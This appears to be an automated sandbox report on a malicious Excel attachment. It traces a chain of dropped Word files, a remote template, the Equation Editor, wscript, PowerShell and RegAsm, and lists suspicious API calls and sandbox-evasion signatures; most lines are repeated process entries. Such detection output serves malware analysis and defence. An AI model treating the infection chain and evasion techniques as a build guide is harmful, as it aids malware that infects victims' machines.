                Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile dump: seethedrinkingwatereverythweretoundesandhowmuchgreatrainingisgoingeverywerenobodyunderstandthegreat_______newgirlfrndsheismygirl[1].doc.0.drJump to dropped file
                Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEFile dump: 3B5C3D2B.doc.4.drJump to dropped file
                Office viewer loads remote template
                Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXESection loaded: netapi32.dll and davhlpr.dll loadedJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_00406EB0 ShellExecuteW,URLDownloadToFileW,12_2_00406EB0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0041AA4A OpenSCManagerW,OpenServiceW,CloseServiceHandle,StartServiceW,CloseServiceHandle,CloseServiceHandle,CloseServiceHandle,12_2_0041AA4A
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0041CB50 LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetModuleHandleA,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,12_2_0041CB50
                Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\wscript.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: PI-002312.xlsStream path 'MBD000CCF11/Package' entropy: 7.98068148704 (max. 8.0)
                Source: PI-002312.xlsStream path 'Workbook' entropy: 7.99942890236 (max. 8.0)
                Source: ~DF1EBBD290B6D7EBE6.TMP.0.drStream path 'Package' entropy: 7.97765348286 (max. 8.0)
                Source: 47730000.0.drStream path 'MBD000CCF11/Package' entropy: 7.97765348286 (max. 8.0)
                Source: 47730000.0.drStream path 'Workbook' entropy: 7.99958250164 (max. 8.0)
                Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

                Malware Analysis System Evasion

                barindex
                Delayed program exit found
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0040F7A7 Sleep,ExitProcess,12_2_0040F7A7
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: OpenSCManagerA,EnumServicesStatusW,GetLastError,EnumServicesStatusW,OpenServiceW,QueryServiceConfigW,GetLastError,QueryServiceConfigW,CloseServiceHandle,CloseServiceHandle,12_2_0041A748
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 600000Jump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 600000Jump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                Source: C:\Windows\SysWOW64\wscript.exeWindow found: window name: WSH-TimerJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 4508Jump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeWindow / User API: threadDelayed 595Jump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeWindow / User API: threadDelayed 8887Jump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeWindow / User API: foregroundWindowGot 1600Jump to behavior
                Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 172Thread sleep time: -240000s >= -30000sJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3268Thread sleep time: -60000s >= -30000sJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3272Thread sleep time: -2767011611056431s >= -30000sJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3272Thread sleep time: -600000s >= -30000sJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3272Thread sleep time: -600000s >= -30000sJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3196Thread sleep time: -922337203685477s >= -30000sJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 3344Thread sleep count: 595 > 30Jump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 3344Thread sleep time: -1785000s >= -30000sJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 3340Thread sleep count: 201 > 30Jump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 3340Thread sleep time: -100500s >= -30000sJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 3416Thread sleep time: -60000s >= -30000sJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 3344Thread sleep count: 8887 > 30Jump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 3344Thread sleep time: -26661000s >= -30000sJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_00409253 __EH_prolog,__CxxThrowException@8,FindFirstFileW,FindNextFileW,FindClose,FindClose,12_2_00409253
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0041C291 FindFirstFileW,FindNextFileW,RemoveDirectoryW,SetFileAttributesW,DeleteFileW,GetLastError,FindClose,RemoveDirectoryW,FindClose,12_2_0041C291
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0040C34D FindFirstFileW,PathFileExistsW,FindNextFileW,FindClose,FindClose,12_2_0040C34D
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_00409665 __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,FindClose,12_2_00409665
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0044E879 FindFirstFileExA,12_2_0044E879
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0040880C __EH_prolog,FindFirstFileW,__CxxThrowException@8,FindNextFileW,FindClose,12_2_0040880C
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0040783C FindFirstFileW,FindNextFileW,12_2_0040783C
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_00419AF5 FindFirstFileW,FindNextFileW,FindNextFileW,12_2_00419AF5
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0040BB30 FindFirstFileA,FindClose,DeleteFileA,GetLastError,DeleteFileA,GetLastError,FindNextFileA,FindClose,12_2_0040BB30
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0040BD37 FindFirstFileA,FindClose,DeleteFileA,GetLastError,FindNextFileA,FindClose,FindClose,12_2_0040BD37
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_00407C97 SetEvent,GetFileAttributesW,DeleteFileW,ShellExecuteW,GetLogicalDriveStringsA,SetFileAttributesW,DeleteFileA,Sleep,StrToIntA,CreateDirectoryW,12_2_00407C97
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 600000Jump to behavior
